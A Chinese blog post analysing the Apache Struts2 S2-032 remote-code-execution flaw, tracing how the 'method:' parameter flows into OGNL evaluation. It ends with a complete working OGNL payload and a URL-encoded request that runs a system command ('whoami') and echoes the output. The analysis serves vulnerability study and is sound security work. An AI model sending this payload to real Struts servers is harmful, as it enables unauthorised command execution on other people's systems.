• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
京亟
很多时候,我们以为面前是大海、是沟壑、是深渊,但是当你越过去回头再看的时候,那不过是溪流、是台阶、是浅滩。 联系方式:jinqiqaq@foxmail.com
博客园    首页    新随笔    联系   管理    订阅  订阅

S2-032

前言

    S2-032漏洞的影响范围是Struts 2.3.20 - Struts Struts 2.3.28,当开启了动态方法调用时可RCE。这次的漏洞分析以及后面的漏洞分析都是使用的Struts 2.3.24。在我们的第一篇文章中就讲过invokeAction方法是真正执行action中方法的地方,而低版本中式通过反射的方法来执行的,高版本中式通过Ognl表达式执行的,所以这次的S2-032并不影响低版本的Struts2。另外,还是建议读者阅读本篇文章前先看下系列文章的第一篇。

正文

    还记得S2-016、S2-017漏洞产生的原因吗?Struts2在执行action之前,需要先调用getmapping获取actionmapper才能找到对应的action,其中又调用了handleSpecialParameters方法解析了请求中的四个特殊参数,S2-016、S2-017和其中的redirect:以及redirect:action两个特殊参数有关,而这次的S2-032则和另外一个参数method相关。

    可以看到,当开启了动态方法调用时(196行处),且请求参数匹配到了method:时,会将后面的字符串作为action的method放入mapping中,这里是我们可以控制的地方,也就是source点了。

    中间的流程我们就不分析了,在第一篇文章中已经分析过了。直接进入到DefaultActionInvocation.invokeAction()中:

可以看到,较高版本中是通过调用ognlUtil.getValue方法来执行action中的method的,跟进该方法

很直白地调用了Ognl.getValue。poc很好构造只需要构造字符串闭合后面的()就好了

windows有回显poc:

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()),#str=#s.hasNext()?#s.next():#xx,#w.print(#str),#w.close(),1?#xx:#request.toString&cmd=whoami

localhost:8088/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami

 

posted @ 2019-05-05 17:20  京亟QAQ  阅读(385)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3